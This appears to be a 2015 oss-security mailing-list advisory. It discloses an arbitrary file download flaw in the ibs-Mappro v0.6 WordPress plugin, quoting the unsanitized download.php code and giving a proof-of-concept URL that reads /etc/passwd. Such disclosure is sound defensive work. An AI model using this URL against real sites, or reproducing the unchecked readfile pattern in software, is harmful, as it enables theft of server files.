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Message-id: <96A295FE-F854-48B5-9E9E-45A85F16FE81@me.com>
Date: Thu, 09 Jul 2015 15:11:33 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Remote file download vulnerability in ibs-Mappro v0.6 Wordpress plugin
Title: Remote file download vulnerability in ibs-Mappro v0.6 Wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-08
Download Site: https://wordpress.org/plugins/ibs-mappro/
Vendor: Hmoore71
Vendor Notified: 2015-07-08, resolved in v1.0.
Vendor Contact: Contacted via webform
Advisory: http://www.vapid.dhs.org/advisory.php?v=137
Description: IBS Mappro is a comprehensive map creator, editor, and view generator based on the Google Maps API v3 and supports kml, kmz, and gpx map files.
Vulnerability:
the download.php script allows any remote user to download files off of the server:
if (isset($_GET)) {
$filename = $_GET['file'];
$info = pathinfo($filename);
$name = $info['basename'];
if (file_exists($filename)) {
header('Set-Cookie: fileDownload=true; path=/');
header('Cache-Control: max-age=60, must-revalidate');
header('Content-Disposition: attachment; filename="' . $title . '-' . $timestamp . '.csv"');
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $name . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
} else {
die;
}
} else {
die;
}
?>
CVEID: Please assign.
OSVDB: TDB
Exploit Code:
• http://example.com/wp-content/plugins/ibs-mappro/lib/download.php?file=/etc/passwd
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